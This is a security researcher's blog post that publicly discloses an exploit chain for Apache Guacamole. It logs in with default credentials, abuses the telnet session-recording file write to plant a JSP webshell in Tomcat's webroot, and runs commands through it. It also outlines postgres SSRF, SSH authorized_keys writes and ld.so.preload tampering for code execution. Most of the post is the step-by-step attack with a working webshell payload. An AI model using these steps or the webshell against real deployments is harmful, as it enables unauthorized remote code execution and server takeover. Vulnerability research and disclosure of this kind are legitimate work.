While doing research on various topics, I stood upon Guacamole, a software that can be used as a connection bastion or protocolar gateway. It has many original vulnerabilities that lead to a Remote Code Execution once chained. Let’s begin, shall we?
Apache Guacamole is a clientless remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH.
There is a clear documentation that explains the setup process both with and without docker, you can read it here:
https://guacamole.apache.org/doc/gug/guacamole-docker.html
But hey, who’s got time for that? Let’s just run a random docker found on the internet! (Shh, it’s gonna be alright, just don’t quote me on that, okay?)
A decent one can be found here, it has all the components in one single docker, it’s not best practice, it’s all we need (and want) for now.
https://github.com/oznu/docker-guacamole
docker run --rm -it --net=host oznu/guacamole
Woosh! Setup done! Thank you, random citizen!
I haven’t looked at the authentication process (yet?), but I found a default account test:test
in bug bounty once, and for most of the guacamole-based projects, the default credentials are guacadmin:guacadmin
, so let’s just assume that you found an account with weak credentials. :)
This protocolar gateway allows its users to connect to various hosts using telnet, ssh, vnc, rdp, k8s
.
Ok. Cool. Whatever.
The "telnet"
feature offers to write a Typescript
recording of the session in a specified directory and file.
Here, telnet is just offering you to open a socket to another host:port. And here, typescript recording basically means write plaintext with a small header and footer (garbage).
A few more things to consider before we move on:
While first logging in we’re offered an empty list of connections to use:
The end user can create many connections in the settings panel
Use the file write to create a jsp webshell in tomcat’s webroot folder, and trigger it afterward.
Here, guacd runs as root, tomcat is in the same docker, and its home folder is /usr/local/tomcat
.
# Login
guacadmin:guacadmin
# Create connection
http://127.0.0.1:8080/#/settings/postgresql/connections
/usr/local/tomcat/webapps/ROOT
rce.jsp
# Drop webshell
http://127.0.0.1:8080/
open side panel with ctrl+alt+shift
copy from foo to bar to enforce new line that will end the connection and trigger file write
foo
<%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("YOLO").next() %>
bar
# Trigger webshell
http://127.0.0.1:8080/rce.jsp?cmd=id
Use the SSRF to reach postgres, benefiting from the fact that postgres trusts requests coming from the loopback to the loopback.
No good-looking demo here as the automation part will be detailed in the next blogpost, but it goes like this:
multi/postgres/postgres_copy_from_program_cmd_exec
, or any other way to execute code with postgresThis works for the following reasons:
pg_hba.conf
and postgresql.conf
), thus requires no challenge-responseHere is an example showing that a simple stateless raw byte replay is enough if the link is trusted.
There are many different ways to exploit these primitives, I’m not going to detail them all, but here are a few:
~/.ssh/authorized_keys2
to avoid overwriting keys, then ssh your way in. This works even if ssh isn’t exposed as guacamole itselfs offers you to login to its loopback. Shoutout to Podalirius for the time spent troubleshooting rsa key format issues with me!/etc/ld.so.conf.d/foo.conf
or mess with /etc/ld.so.preload
(be careful, DOS in sight)Here, the exploitation is eased because all the components are in the same docker. In the real world, most installations have strong passwords (jajaja), and are using a docker-compose.
Using docker-compose implies a few things:
Overall, it just gets harder and depends a lot
on the setup in use.
This is because of this lack of consistency on the techniques found that there is no one-for-all sploit released, just click buttons like you’re on windows ffs!
Full disclosure because:
HUGE
time drain to try
to convince folks that this is
vulnerableThere were a lot of clicks, right? It’s only within guacamole, and it’s not much used, riiiight?
Well, the underlying protocol (guacd through a websocket) is quite painful to mimic, and if the connection breaks, the exploit will fail, this is why we’re only clicking for now, the browser does all the heavy lifting for us.
That being said, for the complete automation (puppeteer & websocket hooks), real targets (Pulse Secure VPN before version 9.1R13), and a (sadly almost) full demo, see you the 18th of December 2021 at the RTFMeet, I’ll be giving a talk and full demo on how this can be automated & exploited despite some complexity found in the guacd protocol.
Don’t worry tho, if you can’t attend, it’ll also be detailed in the next blogpost Failed02 - Exploiting Pulse Secure VPN through guacamole & Trust Issues
Until then, have fun legally breaking/fixing stuff, and see you on 18th of December for the RTFMeet! =^~^=
Full disclosure on guacamole
because:
TL;DR: The exploit was trivially found
.
Only a very small portion of the source code and features have been audited, anyone in possession of an admin or privileged account could find a way to get code execution, so it’s not much of a leak.
That being said, I’m sorry.
Lastly: It’s either blatantly irresponsibly
(because it’s true) or indeed wrong
(thus not something to care about), can’t be both ~ 💕